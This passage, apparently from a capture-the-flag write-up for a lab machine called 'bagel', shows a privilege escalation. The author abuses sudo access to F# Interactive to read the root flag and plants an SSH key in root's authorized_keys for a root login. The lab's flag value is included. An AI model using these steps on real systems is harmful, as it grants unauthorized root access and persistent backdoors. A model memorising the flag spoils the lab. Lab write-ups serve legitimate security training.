--version Display .NET SDK version in use.
SDK commands:
add Add a package or reference to a .NET project.
build Build a .NET project.
build-server Interact with servers started by a build.
clean Clean build outputs of a .NET project.
format Apply style preferences to a project or solution.
help Show command line help.
list List project references of a .NET project.
msbuild Run Microsoft Build Engine (MSBuild) commands.
new Create a new .NET project or file.
nuget Provides additional NuGet commands.
pack Create a NuGet package.
publish Publish a .NET project for deployment.
remove Remove a package or reference from a .NET project.
restore Restore dependencies specified in a .NET project.
run Build and run a .NET project output.
sdk Manage .NET SDK installation.
sln Modify Visual Studio solution files.
store Store the specified assemblies in the runtime package store.
test Run unit tests using the test runner specified in a .NET project.
tool Install or manage tools that extend the .NET experience.
vstest Run Microsoft Test Engine (VSTest) commands.
workload Manage optional workloads.
Additional commands from bundled tools:
dev-certs Create and manage development certificates.
fsi Start F# Interactive / execute F# scripts.
sql-cache SQL Server cache command-line tools.
user-secrets Manage development user secrets.
watch Start a file watcher that runs a command when files change.
Run 'dotnet [command] --help' for more information on a command.
We can use dotnet fsi
:
[developer@bagel ~]$ sudo dotnet fsi
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.
For help type #help;;
>
There are ways to run system commands. However, this time I chose to gain read/write privileges as root
. For instance, let’s read the root.txt
flag:
> open System.IO.File.ReadAllLines(@"/root/root.txt");;
val it: string[] = [|"4d0a0b2425c34fcc1a2d9fdf6dd244c5"|]
To obtain a shell as root
, we can add a public SSH key into /root/.ssh/authorized_keys
. First, let’s create a pair of keys:
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (~/.ssh/id_rsa): ./root_id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./root_id_rsa
Your public key has been saved in ./root_id_rsa.pub
The key fingerprint is:
SHA256:ALyCueBYvQCalEvCfJ+C1+K+rh/y7Du4yXTcJN/LvHM
The key's randomart image is:
+---[RSA 3072]----+
|o ... |
|o* ... |
|==+.o.o |
|*o++o+ . |
|+oo+oo S |
|o...* . |
| oo+ o . |
|o.*o. o..E |
| =*O+ =+ |
+----[SHA256]-----+
$ cat root_id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTH8lAYNlmUe7OP60e06ThfnUcl2j6HeJciLmqqoeV6tB+GOICpXtGjleiRHg3/hbGzC2OSaew1GGS2RlqRxSFQTmBVOWBhAEOWSg4s2BL7EF+G/uNXZU/70RwUvIjzUAKE6f3n8vbTC6qptEWH30vpU9F/VWufwGrKEP/J1tNAqLs7Es1vUXLPAhtaC9F+AJPqxmvpqNjW8irbFEWDbU/ty7It3uftW9AFCmuk8+pMd/iPsiJ0G5rZeFfLrxhDfRAl3zSl7JlIhu6zTbd5Kv9pRRwdKwntvoJRNALYj9lrImlf/nGZNNCjc1ErUuVAxGCGYs4VgZYgFjn7WnU5eTMCCu+dfaqm3JJKIZngDprDpXxsPqVp05gHFPViPf4SVahSMjkynQ6kAeMfhPk5A4YzeFwVuPEmpn3Y0AAwMbWxm0ky5ZXqMfM6WQw2SXggm7DnR76b/YULcfblUMgMz5n6G1LvKO7rKu/Huh59//pDSlePUqV5lwWp28o07A0Ok8=
Now, let’s create the file and write the public key:
> let file = new System.IO.StreamWriter("/root/.ssh/authorized_keys");;
val file: System.IO.StreamWriter
> file.WriteLine("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTH8lAYNlmUe7OP60e06ThfnUcl2j6HeJciLmqqoeV6tB+GOICpXtGjleiRHg3/hbGzC2OSaew1GGS2RlqRxSFQTmBVOWBhAEOWSg4s2BL7EF+G/uNXZU/70RwUvIjzUAKE6f3n8vbTC6qptEWH30vpU9F/VWufwGrKEP/J1tNAqLs7Es1vUXLPAhtaC9F+AJPqxmvpqNjW8irbFEWDbU/ty7It3uftW9AFCmuk8+pMd/iPsiJ0G5rZeFfLrxhDfRAl3zSl7JlIhu6zTbd5Kv9pRRwdKwntvoJRNALYj9lrImlf/nGZNNCjc1ErUuVAxGCGYs4VgZYgFjn7WnU5eTMCCu+dfaqm3JJKIZngDprDpXxsPqVp05gHFPViPf4SVahSMjkynQ6kAeMfhPk5A4YzeFwVuPEmpn3Y0AAwMbWxm0ky5ZXqMfM6WQw2SXggm7DnR76b/YULcfblUMgMz5n6G1LvKO7rKu/Huh59//pDSlePUqV5lwWp28o07A0Ok8=");;
val it: unit = ()
> file.Close();;
val it: unit = ()
> #quit;;
Now, we can access as root
using the private key:
$ ssh -i root_id_rsa root@10.10.11.201
[root@bagel ~]# cat root.txt
4d0a0b2425c34fcc1a2d9fdf6dd244c5